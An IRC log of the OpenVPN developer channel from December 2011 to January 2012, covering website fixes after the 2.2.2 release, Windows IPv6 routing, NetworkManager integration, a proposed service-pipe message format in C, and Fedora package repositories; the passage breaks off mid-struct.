<@dazo> cron2: see #openvpn ... discussion with mightor :-P 10:39 < waldner> is that channel logged somewhere? 10:39 < ecrist> lots of places, I'm sure 10:40 <@cron2> dazo: ah, there. Will read up later today, must run to catch bus now 10:40 <@dazo> cron2: don't waste the time ... unless you're bored and want to laugh 10:40 < ecrist> !logs 10:40 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In Tunnelblick, right-click and select copy to copy log text to clipboard. 10:40 < ecrist> !irclogs 10:40 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/openvpn.txt and are updated in real-time while ecrist is online. 10:41 < ecrist> and that's not true anymore 10:42 < waldner> ugh, I'd suggest a per-day organization or so 10:44 < ecrist> waldner: you're welcome to write one 10:44 < ecrist> as it is, I just post my irc logs for others 10:44 < ecrist> take it or leave it. ;) 10:45 < waldner> well, there's a bot in the channel already, right? 10:45 < waldner> can it do logs? 10:46 < ecrist> yes, I've never looked into setting it up, though. 10:47 < waldner> anyway, I was just curious to see that that guy said, nm 10:47 < waldner> *what 11:03 <@dazo> hahahaha, ecrist, you're priceless! :) But I do understand why ;-) 11:05 < ecrist> I'm probably a bit crabby at this point 11:05 <@raidz> http://twitter.com/#!/OpenVPN/status/149898052168196096 11:05 <@vpnHelper> Title: Twitter (at twitter.com) 11:05 <@dazo> raidz: 2.2.2 ... to be exact :-P 11:06 <@raidz> dazo: fixed ;-) 11:06 <@raidz> http://twitter.com/#!/OpenVPN/status/149898550988390400 11:06 <@vpnHelper> Title: Twitter (at twitter.com) 11:06 <@dazo> raidz: one thing regarding the changelog on the web ... not sure it's clever to modify the changelog date there ... the changelog in the source repo says 2011.12.14 ... the web page 2011.12.22 ... that might be confusing or worrying 11:07 <@dazo> it might be mattock's "fault" though :) 11:07 <@raidz> yeah, thats mattocks fault 11:07 <@raidz> I will bring out the belt when I see him online 11:07 <@dazo> hehe :) 11:08 < ecrist> raidz: also, the links are pointing to webdev, instead of the main site 11:09 <@raidz> I changed the date on website, will look at webdev stuff now 11:09 <@raidz> ecrist: where are the webdev links you are seeing? 11:09 < ecrist> if you go to the downloads page, the changelog link 11:09 <@raidz> ahh, changelong 11:10 <@raidz> ok, take a look now 11:10 <@raidz> dazo: should I change the date on changelog as well? 11:10 < ecrist> raidz: still there 11:10 < ecrist> the second changelog link 11:10 <@dazo> raidz: yeah, that was actually the one I was thinking about 11:11 <@dazo> the "documentation" link is pointing at webdev as well 11:11 <@raidz> so should this still say 12 22? 11:11 <@raidz> OpenVPN 2.2.2 -- released on 2011.12.14 (Change Log) 11:11 <@dazo> yeah 11:11 <@dazo> that's correct (according to the source tree) 11:11 <@raidz> wait, so should I edo 12/22 or 12/14? 11:12 <@raidz> *do 11:12 <@dazo> 2011.12.14 is the correct date for the changelogs 11:12 <@dazo> release date on the downloads.html can be 2011.12.22 11:12 <@raidz> lol, gotcha 11:14 <@raidz> I think I removed all the webdev links 11:14 <@raidz> still trying to edit changelog 11:14 < ecrist> seem good 11:14 < ecrist> nope 11:14 < ecrist> you missed the one for verifying signatures 11:15 <@raidz> ecrist: fixed 11:15 <@raidz> still trying to edit changelog page, something is weird for us in Joomla 11:15 < ecrist> thank you 11:15 < ecrist> raidz: did your developer ever create an account 11:15 <@raidz> not sure how Samuli did this, lol 11:16 < ecrist> this weekend and next week are my days to work on the new forum 11:16 <@raidz> ecrist: not yet, he said he will do it after he completes the other tasks on the list 11:16 < ecrist> oddly, there's a 'Narendra' user that was created 11:16 < ecrist> not by me 11:16 < ecrist> and I don't have that link published anywhere 11:16 <@raidz> ohh 11:16 <@raidz> thats him 11:21 <@raidz> changelog fixed 11:22 < ecrist> he's an admin now, so whenever he gets around to it 11:22 <@raidz> sounds good 11:22 <@raidz> thats last on his list, so it probably won't be done till mid or the end of next week 11:26 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:26 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:26 <@dazo> raidz: thx! looking good for me too now 11:28 <@dazo> raidz: one silly mistake, I presume .... the source zip GPG signature points at the tar.gz.asc signature 11:32 <@raidz> lol, let me look at that dazo 11:32 <@raidz> I am really gonna bring out the belt now 11:32 <@raidz> j/k 11:33 <@dazo> heh 11:33 <@raidz> dazo, what is the source zip file extension? 11:33 <@dazo> openvpn-2.2.2.zip and openvpn-2.2.2.zip.asc for the sig 11:34 <@raidz> fixed and link works 11:34 <@dazo> Looking good! thx! 11:36 <@raidz> no probs! 11:36 <@raidz> I know Samuli was in a hurry 11:36 <@raidz> Think he has some holiday stuff going on 11:37 <+krzie> setting up his festivus pole? 11:37 <+krzie> (for tommorrow...) 12:09 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Quit: Leaving.] 12:29 <@d12fk> is there a meeting taking place? 12:30 <@cron2> haven't seen an announcement 12:30 <@cron2> dazo, ecrist: I see you really had fun with mightor... :-o 12:31 < ecrist> heh, yeah, *fun* 12:41 <@dazo> heh 13:06 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 14:06 -!- Beave [~champ@bundy.vistech.net] has joined #openvpn-devel 15:40 -!- dazo is now known as dazo_afk 16:42 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Read error: Connection reset by peer] --- Day changed Fri Dec 23 2011 01:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:15 <@mattock> apparently 2.2.2 release was a success 07:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 07:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:12 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 18:47 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] --- Day changed Sat Dec 24 2011 03:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 11:51 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 15:54 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 252 seconds] 16:47 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:47 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:16 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 17:16 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:16 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:25 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 21:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Sun Dec 25 2011 03:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 07:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:15 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 18:00 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 18:01 < uuuppz> happy xmas guys 18:24 <+krzie> merry xmas to you uuuppz 18:24 <+krzie> =] 18:24 <+krzie> (and everyone, of course) 19:15 < ecrist> :) --- Day changed Tue Dec 27 2011 05:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 06:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:11 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 06:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 10:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 10:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:43 -!- krzie [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 21:28 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:57 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:57 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Wed Dec 28 2011 01:47 <@vpnHelper> RSS Update - wishlist: See and Learn........ <http://forums.openvpn.net/topic9477.html> 11:11 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 17:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 18:08 <@vpnHelper> RSS Update - wishlist: OpenVPN App for Bada! <http://forums.openvpn.net/topic9484.html> 23:38 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] --- Day changed Thu Dec 29 2011 02:16 -!- Beave [~champ@bundy.vistech.net] has quit [Read error: Operation timed out] 05:09 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:09 <@cron2> bah 06:41 < waldner> http://en.wikipedia.org/wiki/Bada 06:41 <@vpnHelper> Title: bada - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:00 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 10:45 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 15:42 <+krzie> ya i looked at that 15:42 <+krzie> to me it didnt answer either of my questions... but i admit to skimming 15:44 <+krzie> it mentions using bsd code... but damn near everything (including windows) uses bsd code --- Day changed Fri Dec 30 2011 01:05 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:54 <@d12fk> cron2: you've done ipv6 for windows 08:55 <@d12fk> how do you set v6 routes on xp? 08:55 <@d12fk> the documented api is from vista onwards 08:55 <@d12fk> is that why you are using netsh 09:56 <@cron2> d12fk: I use netsh, since I have no idea how to use "API"s on Windows 09:57 <@cron2> (Windows is so foreign territory to me that I'm mostly just lost, trying to find information there - so I asked Jeroen Massar how he does for his sixxs tunnel client and he said "call netsh" - so that's what I do :-) ) 09:59 <@cron2> since netsh works across all supported windows versions, I'd tend to stick to it, though - except if you see major advantages to the v6 api in vista+w7 10:00 <@cron2> there's stuff we currently don't do, like "find out what the lan default gateway for v6 is" - so we might eventually need to go there anyway, but the whole feature is not there on any platform yet, so this would be v2.4 stuff 10:00 <@d12fk> well i kind of dont want to fork a process for setting routes from a service and since netsh does it it must be doable 10:00 <@d12fk> ... via api 10:01 <@cron2> d12fk: is forking-from-service so evil on windows? On Unixes it's not a very good way if an API exists, but doesn't have specific drawbacks either, just "overhead" 10:02 <@cron2> d12fk: but I see your point, if netsh can do it, it can be done :-) 10:03 * cron2 is not insisting on keeping the current code if something without forking (and without a zillion of extra #ifdefs) can be found :-) 10:03 <@d12fk> hm seem sto be hard 10:03 <@d12fk> the interntz is lacking info 10:03 <@d12fk> and there's no obvious api used in netsh, so i expect it to be ugly and COM 10:04 <@cron2> :( 10:04 <@d12fk> maybe i'll do something like use netsh in xp and the api from vista onwards 10:04 <@d12fk> still ugly =) 10:07 <@cron2> yes... 11:06 <@d12fk> ok, so version 1 will come without ipv6 support 11:07 <@d12fk> netsh uses WMI and i'll need time to figure that out 11:07 <@d12fk> OR we agree on XP does not do ipv6 11:07 < ecrist> I think it's fair, at this point, to rule out IPv6 on XP 11:27 <@d12fk> hm maybe WMI isn't that hard after all 11:28 <@d12fk> i'll lookinto it next year 11:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:53 <@cron2> ecrist: nope 12:53 <@cron2> ecrist: we have working IPv6 on XP 12:53 <@cron2> and the installed basis of XP is still much too large to abandon it 12:54 <@cron2> d12fk: why not use netsh for now, and enhance later? the netsh code is there to be used 13:06 < ecrist> fuck them 13:06 < ecrist> as I always say. ;) 13:16 -!- Netsplit *.net <-> *.split quits: @mattock, uuuppz, +krzee, @d12fk, mordy, EvilJStoker, chantra, dguerri, @dazo_afk, @cron2, (+4 more, use /NETSPLIT to show all of them) 13:20 -!- Netsplit over, joins: chantra, @d12fk, @dazo_afk, @vpnHelper, novaflash, mordy, dguerri, EvilJStoker, jamxNL, uuuppz (+4 more) 13:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:20 -!- ServerMode/#openvpn-devel [+oo cron2 mattock] by wolfe.freenode.net 13:22 -!- Netsplit *.net <-> *.split quits: @mattock 13:22 -!- Netsplit over, joins: @mattock 13:23 -!- Netsplit *.net <-> *.split quits: chantra, @cron2, novaflash 13:25 -!- Netsplit over, joins: @cron2, novaflash, chantra 13:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:40 <@cron2> baaah 13:41 <@cron2> some of the bits in options.c are decidedly non-pretty 15:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] --- Day changed Sat Dec 31 2011 02:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 03:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 09:51 -!- uuuppz [~uuuppz@78.129.207.46] has quit [Read error: Operation timed out] 09:54 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has left #openvpn-devel [] 10:54 <@vpnHelper> RSS Update - tickets: #187: web documentation link missing 2.2 links <https://community.openvpn.net/openvpn/ticket/187> 12:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] --- Log closed Sat Dec 31 12:46:47 2011 --- Log opened Tue Jan 03 12:57:56 2012 12:57 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:57 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 2 voices, 7 normal] 12:57 !hitchcock.freenode.net [freenode-info] channel trolls and no channel staff around to help? please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 12:57 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 12:58 < ecrist> was a fix ever comitted to the windows gui to solve the windows 7 hibernation stuff? 13:38 <@mattock> ecrist: afaik no 13:38 < ecrist> looks like the issue is trac ticket #71 --- Day changed Wed Jan 04 2012 01:56 <@cron2> d12fk: regarding the interface to "service". I have been told that network-manager on ubuntu does something similar that you want to achieve ("not set routes in openvpn") - it seems to be using the management interface. So OpenVPN starts, connects, reports via mgmt back about the ip addresses and routes, and network-manager then installs them 01:56 <@cron2> (I was made aware of this because nothing of this supports IPv6, so OpenVPN+IPv6 transport fails if used with network-manager) 01:57 <@cron2> maybe worth investigating? 01:57 <@cron2> (or maybe your approach is then also usable for network manager, who knows :) ) 02:18 -!- dazo_afk is now known as dazo 02:22 <@dazo> cron2: either this explains why NM on Ubuntu is a piece of crap (it mostly fails for users, at least has for quite some time) ... but afaik, it doesn't do anything else than kick off openvpn and let openvpn do its stuff ... however, NM are two pieces - a service daemon with root privileges (which kicks off openvpn) and nm-applet which tells the service daemon to kick off openvpn 02:23 * dazo is double checking nm-openvpn source code, just to be sure 02:46 <@dazo> How I understand it (based on NetworkManager-openvpn v0.9.0) ... NetworkManager daemon (running as root) reads descriptions of VPN providers from /etc/NetworkManager/VPN ... where the OpenVPN module is described ... it defines /usr/libexec/nm-openvpn-service as the binary to be executed and libnm-openvpn-properties.so as the GUI element (loaded by nm-applet) 02:48 <@cron2> I never looked into NM, but I have a lot of reports that say "IPv6 doesn't work when used with NM" 02:49 <@dazo> the UI tells NetworkManager (via dbus) to start the OpenVPN service, which executes nm-openvpn-service (which is a normal executable) and it is provided the config via some API (dbus most likely?) 02:49 <@cron2> now the question is: how does nm-openvpn-service call OpenVPN, and who sets up interfaces and routing? 02:49 <@dazo> the nm-openvpn-service adds --up nm-openvpn-service-helper .... which extracts IP address info 02:49 <@dazo> and tells NM to configure this 02:49 <@dazo> so that's probably why 02:50 <@cron2> ah, via script, not via management-if 02:50 <@dazo> yeah 02:50 <@cron2> sounds horribly broken - d12fk's pipe is much saner 02:50 <@dazo> in fact, nm-openvpn-service builds up the config as a long argument list 02:51 <@dazo> agreed ... pipe is much better .... this code doesn't scale well at all ... if openvpn adds a new feature, nm-openvpn is easily screwed ... 02:51 <@dazo> I actually found this snippet in the code .... 02:51 <@dazo> if (val) { 02:51 <@dazo> /* Sigh. Openvpn added 'topology' stuff in 2.1 that changes the meaning 02:51 <@dazo> * of the ifconfig bits without actually telling you what they are 02:51 <@dazo> * supposed to mean; basically relying on specific 'ifconfig' behavior. 02:51 <@dazo> */ 02:52 <@dazo> tmp = getenv ("ifconfig_remote"); 02:52 <@dazo> if (tmp && !strncmp (tmp, "255.", 4)) { 02:52 <@dazo> which in most cases would work fine ... but it's not exactly clean 02:52 <@cron2> indeed... 02:53 <@cron2> so let's aim for having --service-pipe in 2.3, with full IPv6 support, and then bash the NM folks to implement it 02:53 <@dazo> yeah 02:54 <@dazo> d12fk: please have multi-platform support in mind when implementing the --service-pipe ... NM will need it as well 02:57 <@dazo> this --up nm-service-openvpn-helper is also why pushed DNS info configures /etc/resolv.conf ... as NetworkManager have routines for doing so 03:05 * cron2 is tempted to suggest using XML... that's guaranteed to get the NM folks excited... *duck* 03:06 <@dazo> lol 03:07 <@dazo> at least the D-BUS part ... the NM service description is ini-style :-P 03:07 <@dazo> (but I'm an XML fan as well, and find it fairly easy to work with libxml2 :)) 03:14 * cron2 likes the approach, but doesn't like extra dependencies :-) 03:16 <@dazo> ack! 03:18 <@cron2> (and there's too many people out there that are not doing XML right, as in "with schema and strong verification") 03:21 <@d12fk> i'm all for a binary interface for the pipe 03:22 <@d12fk> so far i'm at 03:22 <@d12fk> typedef enum { 03:22 <@d12fk> ACKNOWLEDGEMENT, 03:22 <@d12fk> ADD_ROUTE, 03:22 <@d12fk> DEL_ROUTE, 03:22 <@d12fk> } MESSAGE_TYPE; 03:22 <@d12fk> typedef struct { 03:22 <@d12fk> MESSAGE_TYPE type; 03:22 <@d12fk> DWORD size; 03:22 <@d12fk> } MESSAGE_HEADER; 03:22 <@d12fk> typedef struct { 03:22 <@d12fk> MESSAGE_HEADER header; 03:22 <@d12fk> USHORT family; 03:22 <@mattock> ...and then onto Fedora 16 + RPM build + publishing again... 03:22 <@d12fk> union { 03:22 <@d12fk> struct in_addr v4; 03:22 <@d12fk> struct in6_addr v6; 03:22 <@d12fk> } address; 03:22 <@d12fk> UINT8 prefix_len; 03:22 <@d12fk> union { 03:22 <@d12fk> struct in_addr v4; 03:22 <@d12fk> struct in6_addr v6; 03:22 <@d12fk> } gateway; 03:22 <@d12fk> DWORD if_index; 03:22 <@d12fk> BYTE if_name[0]; 03:22 <@d12fk> } ADD_ROUTE_MESSAGE; 03:22 <@d12fk> if I fix the types it'll work with unix as well 03:22 <@mattock> vpnhelper has clearly been tamed 03:22 <@d12fk> truly =) 03:23 <@mattock> any ideas if JJK will be at FOSDEM? 03:23 <@d12fk> that was the smoke test 03:23 <@mattock> and it passed :) 03:31 <@dazo> mattock: JJK said something about coming one of the days, but not both 03:31 <@mattock> ok, nice! 03:31 * dazo is looking fwd :) 03:32 <@mattock> I hope he brings a few of his cookbooks with him 03:32 <@mattock> I probably should buy one 03:54 <@cron2> yeah, so we can finally learn how to use openvpn! 03:59 <@d12fk> what's openvpn? 04:03 <@dazo> :) 04:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 04:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:51 <@cron2> meeting on thursday? 04:54 <@dazo> I'd probably prefer next week, tbh ... have a lot of catch-up to do 04:56 <@dazo> cron2: I'm reviewing your second patch now (first one is applied) .... just wondering if that's the wrong approach .... because your change will block copying route lists even if the number of *used* elements in the list will fit the destination - even if the source list is bigger 04:57 <@dazo> (on the other hand ... it's a memcpy(), not a for() loop which copies element by element) 04:57 <@cron2> dazo: indeed. you could do that by changing the number-of-bytes calculation to use src->n and not src->capacity 04:57 <@cron2> right now it will always memcpy() the full capacity, even if n<dst->capacity 04:58 <@dazo> yeah ... well, let's ack this one, it is way safer 04:58 <@cron2> (and all this is mostly theory, as I don't think we can have different capacity values right now) 04:58 <@cron2> but regarding meeting - fine with me, next week then 04:58 <@dazo> exactly ... that's what I was looking for now .... and it seems it's all decided by --max-routes 04:59 <@cron2> mmmh 04:59 <@cron2> if adding routes before --max-routes is called, there might be mismatches indeed 05:00 <@cron2> (and if a route is configured before --max-routes, max-routes won't have an effect anyway, except confuse the copy-and-clone code...) 05:01 <@dazo> max-routes is not pushable, afaik ... so this means that it has to be quite some local routes, then --max-routes and then push routes which can collide 05:01 <@dazo> (unless a faulty config adds local routes, --max-routes and then some more local routes) 05:02 <@cron2> first route allocates options->routes, and that is never realloc'ed when max_routes changes or extra routes are added 05:02 <@dazo> ahh, good catch! ... which means, it's quite safe 05:02 <@dazo> --max-routes must be set before any other routes are set 05:02 <@cron2> and when saving/restoring options->routes, the existing(!) capacity (aka "initial max_routes") is used 05:03 <@cron2> so this is actually fully save :) 05:03 <@dazo> yeah 05:03 * dazo acks 05:03 <@cron2> otoh we might want to add a warning "max_routes has no effect if not configured before any routes" 05:03 <@dazo> yeah 05:18 <@vpnHelper> RSS Update - testtrac: Fix list-overrun checks in copy_route_[ipv6_]option_list() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6abb6cdd46e50b61452b1b2d3d796ab0061e9128> || Fix build-up of duplicate IPv6 routes on reconnect. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9140223643f7d9bdfd2214304a7bd6ab4b662f97> 13:58 -!- dazo is now known as dazo_afk --- Day changed Thu Jan 05 2012 02:21 -!- mordy [~mordy@71-80-218-70.dhcp.crcy.nv.charter.com] has quit [Ping timeout: 240 seconds] 02:29 <@mattock> (automated) fedora 16 rpm creation now works, I'll setup snapshot rpm repos today 02:30 <@mattock> there are fairly recent (2.2.0/2.2.2) stable RPM packages available in other sources, 02:30 <@mattock> so publish RPM packages of official releases does not make much sense I think 03:02 -!- chantra [~chantra@ns353511.ovh.net] has quit [Ping timeout: 255 seconds] 03:02 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 04:49 -!- dazo_afk is now known as dazo 05:03 <@mattock> dazo: do you use Fedora 16? 05:03 <@mattock> we now got a -snapshots repo for Fedora 16 05:04 <@mattock> I'm pushing out new snapshots (both deb and rpm) atm 05:04 <@dazo> mattock: nope, still on F14 ... I'm not trusting systemd to be stabilized yet .... Lennart said he expected systemd to be stable around F17 05:04 <@mattock> ah 05:04 <@dazo> cool! 05:04 <@mattock> I assume systemctl is used to control systemd? 05:04 <@dazo> yeah, that's part of it 05:04 <@dazo> it's a massive thing 05:05 <@dazo> (and they also want systemd to start doing logging as well ... it already is doing inetd kind-of-stuff, in addition) 05:05 <@mattock> F16 sure looks like a big migration when it comes to services 05:06 <@mattock> some stuff you can enable using systemctl, some using chkconfig 05:06 <@dazo> yeah, it started with F15 .... so I'm wondering if I'll like it or not 05:06 <@dazo> systemd got some sys-v init support as well ... so that's probably why 05:06 <@dazo> mattock: have you created yum repo as well? 05:07 <@dazo> or is it just plain rpms at the moment? 05:07 <@mattock> yum also 05:07 <@mattock> http://repos.openvpn.net/repos/yum/conf/ 05:07 <@vpnHelper> Title: Index of /repos/yum/conf/ (at repos.openvpn.net) 05:07 <@dazo> cool! 05:08 <@mattock> all gpg signed 05:08 <@dazo> I'll install F16 in a VM and I'll try it out 05:08 <@mattock> on KVM? 05:08 <@dazo> yeah 05:08 <@mattock> I suggest minimal netinstall 05:08 <@dazo> hehehe :-P 05:08 <@mattock> that seemed to be least bad :) 05:08 <@mattock> I don't like the LVM stuff on VMs, and I don't like the bloat of those desktop versions 05:09 <@mattock> Fedora can be a pain to virtualize... I didn't even try F16 on my server (Debian Squeeze) 05:09 <@mattock> installed it locally on my Thinkpad L520 with Ubuntu 11.10 05:09 <@mattock> works quite well 05:09 <@dazo> well, GNOME3 also requires a 3D enabled gpu ... so KVM isn't optimal in that regards 05:10 <@mattock> yeah, that too 05:21 <@mattock> all repos updated 05:21 <@mattock> I'll make an announcement about the F16 repo after lunch 05:24 -!- dazo is now known as dazo_afk 05:31 -!- dazo_afk is now known as dazo 07:05 <@mattock> dazo: can you test if the F16 package works with F14? 07:05 <@dazo> it "works", but it won't install due to too new glibc on F16 compared to F14 07:05 <@mattock> I only got two F15 VMs that are limping along (ran out of diskspace, lol) 07:05 <@mattock> ah 07:06 <@dazo> F15 might work, but wouldn't bet on it 07:06 <@mattock> would it make sense to provide snapshots for "stable" enterprise OSes (say, RedHat 6), too 07:07 <@mattock> I mean is it worth the effort 07:07 <@dazo> yeah, I would say so 07:07 <@dazo> official snapshots for RHEL would also benefit CentOS qand ScientificLinux as well 07:08 <@mattock> I got one CentOS 6 VM running already, I could create another one fairly quickly 07:08 <@dazo> that'd be cool! 07:08 <@mattock> ok, that's agenda for rest of the today 07:08 <@mattock> then I'm done with this repo stuff for a (long) while :D 07:08 <@dazo> :) 07:08 <@dazo> and they will update themselves automagically when I push stuff? 07:12 <@mattock> nope 07:12 <@mattock> I gave that up, too complex 07:12 <@dazo> :) 07:12 <@dazo> no worries! 07:12 <@mattock> so, essentially, I trigger a rebuild on all VMs 07:12 <@mattock> one command -> all packages get generated 07:12 <@dazo> well, if we can have some cron job, doing it say once a week ... that would be good enough 07:13 <@mattock> another command -> publish them to repos.openvpn.net 07:13 <@mattock> I'll use my brain's internal cron daemon, there are still n number of things that could go wrong 07:14 <@dazo> hehehe .... :) no problem with that :) 07:14 <@mattock> e.g. some VM not up when build gets triggered 07:14 <@mattock> I used version notation like this: 07:14 <@mattock> 2.3-<buildnum>, e.g. 2.3-2, 2.3-3 07:14 <@mattock> for rpms 07:15 <@mattock> for debian, the same, but 2.3-debian<buildnum> 07:15 <@mattock> in retrospect, the -debian was unnecessary 07:15 <@mattock> removing it would probably require people to force "downgrade" of openvpn to upgrade 07:15 <@dazo> makes sense 07:15 <@dazo> (well, don't mess with what's working :)) 07:16 <@mattock> yep, it's not that big a deal actually 07:16 <@dazo> :) 07:16 <@mattock> hmm... I wonder if as-stable is a good repo name (for access server) :D 07:17 <@dazo> as-stable-as-you-can-hope ? 07:17 <@dazo> stable-as :-P 07:18 <@mattock> ass table 07:18 <@mattock> :P 07:18 <@dazo> duh! didn't see that one :) 07:29 <@d12fk> here's what the platform independant service pipe interface looks like: 07:29 <@d12fk> typedef enum { 07:29 <@d12fk> acknowledgement, 07:29 <@d12fk> add_route, 07:29 <@d12fk> del_route, 07:29 <@d12fk> } message_type_t; 07:29 <@d12fk> typedef struct { 07:29 <@d12fk> message_type_t type; 07:29 <@d12fk> size_t size; 07:29 <@d12fk> } message_header_t; 07:29 <@d12fk> const size_t max_ifname = 128; 07:29 <@d12fk> typedef struct { 07:29 <@d12fk> int index; 07:29 <@d12fk> char name[max_ifname]; 07:29 <@d12fk> } interface_t; 07:29 <@d12fk> typedef struct { 07:29 <@d12fk> struct in_addr address; 07:29 <@d12fk> struct in_addr netmask; 07:29 <@d12fk> int netbits; 07:29 <@d12fk> struct in_addr gateway; 07:29 <@d12fk> interface_t interface; 07:29 <@d12fk> } ipv4_route_t; 07:29 <@d12fk> typedef struct { 07:29 <@d12fk> struct in6_addr address; 07:29 <@d12fk> int prefix_len; 07:29 <@d12fk> } ipv6_route_t; 07:29 <@d12fk> typedef struct { 07:29 <@d12fk> message_header_t header; 07:30 <@d12fk> short family; 07:30 <@d12fk> union { 07:30 <@d12fk> ipv4_route_t ipv4; 07:30 